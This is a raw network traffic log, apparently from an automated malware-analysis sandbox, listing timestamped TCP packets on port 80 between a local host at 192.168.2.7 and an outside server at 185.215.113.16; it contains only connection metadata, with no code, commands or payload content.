Nov 1, 2024 12:34:10.022113085 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.022135019 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.022144079 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.022156000 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.022160053 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.022172928 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.022178888 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.022197008 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.022212029 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.133316040 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.133326054 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.133338928 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.133343935 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.133354902 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.133362055 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.133380890 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.133465052 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.133471012 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.133476973 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.133476019 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.133482933 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.133491039 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.133503914 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.133511066 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.133522987 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.133523941 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.133532047 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.133548975 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.133569002 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.133614063 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.133621931 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.133666992 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.171123028 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171130896 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171139002 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171180010 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171185970 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171197891 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.171201944 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171207905 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171221972 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171228886 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171231985 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.171236038 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171242952 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171248913 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.171248913 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171257019 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171268940 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.171288967 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.171308041 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.171439886 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171447992 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171467066 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171488047 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171490908 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.171494961 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171502113 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171510935 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171524048 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.171539068 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.171542883 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171623945 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171636105 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171644926 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171649933 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171663046 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.171684027 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.171736956 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171744108 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171751022 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171756983 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171777010 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.171802044 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171804905 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.171808958 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171822071 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171843052 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.171848059 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171854973 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171865940 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171870947 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171883106 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171890020 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171892881 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.171896935 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171909094 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.171937943 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.171983004 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.171989918 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172002077 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172008991 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172023058 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172039986 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.172065020 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.172136068 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172154903 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172164917 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172172070 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172178030 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172189951 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172190905 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.172208071 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172209024 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.172218084 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172224998 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.172231913 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172235966 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172246933 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172254086 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172255993 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.172271967 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172278881 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172285080 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172288895 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.172291994 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172301054 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172307014 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.172322035 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.172406912 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172414064 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172425985 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172432899 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172440052 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172451973 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172516108 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172522068 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172533989 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172539949 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172545910 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172558069 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172620058 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172626972 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172687054 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172693014 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172705889 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172735929 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172745943 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.172745943 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.172745943 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.172745943 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.172745943 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.172745943 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.172745943 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.172745943 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.172766924 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.172766924 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.172775030 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.172965050 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172977924 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.172991037 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173017979 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.173044920 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.173093081 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173099995 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173106909 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173114061 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173121929 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173134089 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173146963 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173147917 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.173156023 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173161983 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173166990 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.173175097 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173182011 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173188925 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.173208952 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.173224926 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.173309088 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173316956 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173322916 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173327923 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173333883 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173338890 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173352003 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173357964 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173365116 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173371077 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.173392057 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.173412085 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.173415899 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173423052 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173434973 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173440933 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173453093 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173458099 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.173459053 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173468113 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173472881 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.173489094 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.173516035 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.173558950 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173593998 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173599958 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173603058 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.173605919 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173613071 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173619032 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173635006 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173640013 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173641920 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.173645973 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173652887 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173676968 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.173691988 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.173760891 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173768044 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173779011 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173784971 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173798084 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173805952 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.173830032 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.173866034 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173873901 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173887968 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173897028 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173913002 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.173940897 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173947096 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173954010 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173965931 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.173968077 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.173990965 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.174009085 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.174195051 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.174201965 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.174213886 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.174245119 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.174323082 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.174329996 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.174340963 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.174348116 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.174366951 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.174376011 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.174382925 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.174387932 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.174396992 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.174412966 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.174441099 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.177062988 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177074909 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177087069 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177100897 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177134991 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.177170038 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.177253962 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177268982 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177280903 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177284956 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177290916 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177304029 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177309990 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177310944 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.177316904 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177330971 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177331924 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.177339077 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177350998 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177356958 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177362919 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177412987 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177419901 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177431107 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177437067 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177443027 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177449942 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.177449942 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.177449942 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.177454948 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177459002 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.177469969 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177475929 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177476883 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.177483082 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177489042 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177490950 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.177495956 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177509069 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177515030 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177517891 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.177520990 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177534103 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177545071 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.177556038 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177562952 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177563906 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.177568913 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177575111 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177581072 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177587032 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.177587986 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177609921 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.177624941 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177632093 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177638054 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.177638054 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177647114 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177651882 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177663088 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.177684069 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.177741051 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177748919 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177766085 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177772999 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177778959 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177784920 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177784920 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.177792072 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177798986 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177809954 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177822113 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.177841902 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177843094 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.177850008 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177854061 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.177856922 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177862883 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177876949 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177881002 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.177881956 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.177908897 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.177942038 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.178011894 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.178021908 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.178034067 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.178040028 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.178046942 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.178057909 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.178062916 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.178067923 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.178067923 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.178085089 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.178091049 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.178091049 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.178105116 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.178109884 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.178121090 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.178133965 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.178138018 CET	49972	80	192.168.2.7	185.215.113.16
